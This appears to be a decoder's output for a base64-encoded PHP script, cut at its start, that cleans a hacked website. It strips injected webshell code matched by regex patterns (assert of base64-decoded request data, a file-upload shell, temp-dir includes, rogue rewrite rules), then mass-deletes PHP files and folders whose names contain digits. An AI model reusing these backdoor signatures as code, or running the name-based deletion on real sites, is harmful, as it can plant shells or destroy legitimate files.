QpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCgiZGlzcGxheV9lcnJvcnMiLCAwXFwpO2luY2x1ZGVfb25jZVxcKHN5c19nZXRfdGVtcF9kaXJcXChcXClbXlxcclxcbl0qXFw/Pi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2Vycm9yX3JlcG9ydGluZ1xcKDBcXCk7aW5pX3NldFxcKCJkaXNwbGF5X2Vycm9ycyIsIDBcXCk7aW5jbHVkZV9vbmNlXFwoc3lzX2dldF90ZW1wX2RpclxcKFxcKS4iXC9TRVNTXzQ4Y2Q3NTE3ZDIxMTc2Zjk4MGRhYTU1MDJkOWVmYjMxIlxcKTsvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9pZiBcXCggXFwkX1JFUVVFU1RcXFsiYXJyYXkiXFxdIFxcKVtcclxuXStcXHsgICBbXHJcbl0rW1xyXG5dKyAgIEBhc3NlcnRcXChiYXNlNjRfZGVjb2RlXFwoXFwkX1JFUVVFU1RcXFsiYXJyYXkiXFxdXFwpXFwpOyAgIFtcclxuXSsgICBcL1wvZGVidWcgbWVzc2FnZVtcclxuXSsgICBlY2hvICJBcnJheSBzb3J0IGNvbXBsZXRlZCI7W1xyXG5dKyAgIGV4aXRcXChcXCk7W1xyXG5dK1xcfS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnLzxcXD9waHAgaWYgXFwoJF9GSUxFU1xcW1wnRjFsM1wnXFxdXFwpIFxce21vdmVfdXBsb2FkZWRfZmlsZVxcKFxcJF9GSUxFU1xcW1wnRjFsM1wnXFxdXFxbXCd0bXBfbmFtZVwnXFxdLCBcXCRfUE9TVFxcW1wnTmFtZVwnXFxdXFwpOyBlY2hvIFwnT0tcJzsgXFx9IGVsc2UgXFx7IGVjaG8gXCdZb3UgYXJlIGZvcmJpZGRlbiFcJzsgXFx9IFxcPz4vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy88XFw/cGhwIGlmIFxcKFxcJF9SRVFVRVNUXFxbXCdwYXJhbTFcJ1xcXSYmXFwkX1JFUVVFU1RcXFtcJ3BhcmFtMlwnXFxdXFwpIHtcXCRmID0gXFwkX1JFUVVFU1RcXFtcJ3BhcmFtMVwnXFxdOyBcJHBbXlxcclxcbl0qXFw/Pi9pcycsIiIsJGN0dCk7DQoJCQkNCgkJCQ0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9SZXdyaXRlUnVsZSBcXF5cXChcXFtBLVphLXowLTktXFxdXFwrXFwpWy5daHRtbFxcJCBzdG9yeVsuXXBocFxcP2hsPVxcJDEgXFxbTFxcXS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL1Jld3JpdGVSdWxlIFxcXlxcKFxcW0EtWmEtejAtOS1cXF1cXCtcXClbLl1odG1sXFwkIG1hc3RlclsuXXBocFxcP2hsPVxcJDEgXFxbTFxcXS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL1Jld3JpdGVSdWxlIFxcXlxcKFxcW0EtWmEtejAtOS1cXF1cXCtcXClbLl1odG1sXFwkIC4qP1xcP2hsPVxcJDEgXFxbTFxcXS9pcycsIiIsJGN0dCk7DQoJCQkvL2VjaG8gJGN0dDsNCgkgICANCgkJCWZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlMiAsJGN0dCk7DQoJCX1lbHNlaWYoaXNfZGlyKCRmaWxlMikgYW5kICRmaWxlIT0iLiIgYW5kICRmaWxlIT0iLi4iKQ0KCQl7DQoJCQlSZXBsYWNlRElSKCRmaWxlMik7DQoJCX0NCgl9DQp9IA0KDQoNClJlcGxhY2VESVIoIi4iKTsNCg0KDQoNCg0KDQovL+WIoOmZpOaWh+S7tuWQjeWQq+acieaVsOWtl+eahOaWh+S7tg0KJHJlZzEgPSAiL1teMC05XSpbMC05XStbXjAtOV0qWy5dcGhwLyI7DQokZmlsZXM9c2NhbmRpcigiLiIpOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQp7DQoJaWYocHJlZ19tYXRjaCgkcmVnMSwkZmlsZSkpDQoJCXVubGluaygkZmlsZSk7DQp9DQoNCg0KLy/liKDpmaTmlofku7blpLnlkI3lkKvmnInmlbDlrZfnmoTmlofku7blpLkNCg0KJGRpcl9wYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7DQoNCiRybV9saXN0ID0gYXJyYXkoKTsNCg0KJHJlZ3MgPSAnL14oPyFbMC05XSskKSg/IVthLXpBLVpdKyQpWzAtOUEtWmEtel17NCwxNn0kLyc7DQoNCmlmKGlzX2VtcHR5X2RpcigkZGlyX3BhdGgpKQ0Kew0KCWV4aXQoJzxmb250IGNvbG9yPSJibHVlIj7liJ3lp4vnm67lvZXmmK/nqbrnmoQhISE8L2ZvbnQ+Jyk7DQp9DQoNCmxzX2RpcigkZGlyX3BhdGgpOw0KDQpmdW5jdGlvbiBsc19kaXIoJGRpcl9wYXRoKQ0Kew0KCWdsb2JhbCAkcmVncywkcm1fbGlzdDsNCgkNCgkkZGlyID0gb3BlbmRpcigkZGlyX3BhdGgpOw0KCQ0KCXdoaWxlICggJGZpbGVuYW1lID0gcmVhZGRpciAoJGRpcikgKSB7DQoJDQoJCWlmICgkZmlsZW5hbWUgIT0gJy4nICYmICRmaWxlbmFtZSAhPSAnLi4nKSB7DQoJDQoJCQkkZnVsbF9wYXRoID0gJGRpcl9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGVuYW1lOw0KCQ0KCQkJaWYoaXNfZGlyKCRmdWxsX3BhdGgpICYmIHByZWdfbWF0Y2goJHJlZ3MsICRmaWxlbmFtZSkpDQoJCQl7DQoJCQkJbHNfZGlyKCRmdWxsX3BhdGgpOw0KCQkJCSRybV9saXN0W10gPSAkZGlyX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQppZihlbXB0eSgkcm1fbGlzdCkpDQp7DQoJZXhpdCgnPGZvbnQgY29sb3I9ImJsdWUiPuayoeacieaJvuWIsOespuWQiOimgeaxgueahOaWh+S7tuWkuSEhITwvZm9udD4nKTsNCn0NCg0KZm9yZWFjaCAoJHJtX2xpc3QgYXMgJGRpcl92YWwpDQp7DQoJZGVsdHJlZSgkZGlyX3ZhbCk7DQoJDQoJaWYgKHJtZGlyICgkZGlyX3ZhbCkpIHsNCgkJZWNobyAn5qC555uu5b2V77yaJyAuICRkaXJfdmFsIC4gJy0tLTxmb250IGNvbG9yPSJibHVlIj7liKDpmaTmiJDlip8hISE8L2ZvbnQ+PGJyPic7DQoJfSBlbHNlIHsNCgkJZWNobyAn5qC555uu5b2V77yaJyAuICRkaXJfdmFsIC4gJy0tLTxmb250IGNvbG9yPSJyZWQiPuWIoOmZpOWksei0pSEhITwvZm9udD48YnI+JzsNCgl9DQp9DQoNCmZ1bmN0aW9uIGRlbHRyZWUoJHBhdGhkaXIpIHsNCg0KCWlmIChpc19lbXB0eV9kaXIgKCAkcGF0aGRpciApKQ0KCXsNCgkJcm1kaXIgKCAkcGF0aGRpciApOw0KCX0gZWxzZSB7DQoJCQ0KCQkkZCA9IG9wZW5kaXIgKCAkcGF0aGRpciApOw0KCQkNCgkJd2hpbGUgKCAkYSA9IHJlYWRkaXIgKCRkKSApIHsNCgkJCQ0KCQkJaWYgKGlzX2ZpbGUgKCAkcGF0aGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkYSApICYmICgkYSAhPSAnLicpICYmICgkYSAhPSAnLi4nKSkgew0KCQkJCWlmKHVubGluayAoICRwYXRoZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRhICkpDQoJCQkJew0KCQkJCQllY2hvICfmlofku7bvvJonLiRwYXRoZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRhLictLS08Zm9udCBjb2xvcj0iYmx1ZSI+5Yig6Zmk5oiQ5YqfISEhPC9mb250Pjxicj4nOw0KCQkJCX1lbHNlIA0KCQkJCXsNCgkJCQkJZWNobyAn5paH5Lu277yaJy4kcGF0aGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkYS4nLS0tPGZvbnQgY29sb3I9InJlZCI+5Yig6Zmk5aSx6LSlISEhPC9mb250Pjxicj4nOw0KCQkJCX0NCgkJCX1lbHNlIGlmIChpc19kaXIgKCAkcGF0aGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkYSApICYmICgkYSAhPSAnLicpICYmICgkYSAhPSAnLi4nKSkgew0KCQkJCQ0KCQkJCWlmICghIGlzX2VtcHR5X2RpciAoICRwYXRoZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRhICkpIA0KCQkJCXsNCgkJCQkJZGVsdHJlZSAoICRwYXRoZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRhICk7DQoJCQkJfQ0KCQkJCQ0KCQkJCWlmKHJtZGlyICggJHBhdGhkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGEgKSkNCgkJCQl7DQoJCQkJCWVjaG8gJ+WtkOebruW9le+8micuJHBhdGhkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGEuJy0tLTxmb250IGNvbG9yPSJibHVlIj7liKDpmaTmiJDlip8hISE8L2ZvbnQ+PGJyPic7DQoJCQkJfWVsc2UNCgkJCQl7DQoJCQkJCWVjaG8gJ+WtkOebruW9le+8micuJHBhdGhkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGEuJy0tLTxmb250IGNvbG9yPSJyZWQiPuWIoOmZpOWksei0pSEhITwvZm9udD48YnI+JzsNCgkJCQl9DQoNCgkJCQkNCgkJCX0NCgkJfQ0KCQkNCgkJY2xvc2VkaXIoJGQpOw0KCX0NCn0NCg0KZnVuY3Rpb24gaXNfZW1wdHlfZGlyKCRwYXRoZGlyKSB7DQoNCgkkZCA9IG9wZW5kaXIgKCAkcGF0aGRpciApOw0KCSRpID0gMDsNCgl3aGlsZSAoICRhID0gcmVhZGRpciAoICRkICkgKSB7DQoJCSRpICsrOw0KCX0NCgljbG9zZWRpciAoICRkICk7DQoJaWYgKCRpID4gMikgew0KCQlyZXR1cm4gZmFsc2U7DQoJfSBlbHNlDQoJCXJldHVybiB0cnVlOw0KfQ0KDQpleGl0Ow0K"));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 41243af2b03db788e45609f72956071a |
| Eval Count | 1 |
| Decode Time | 89 ms |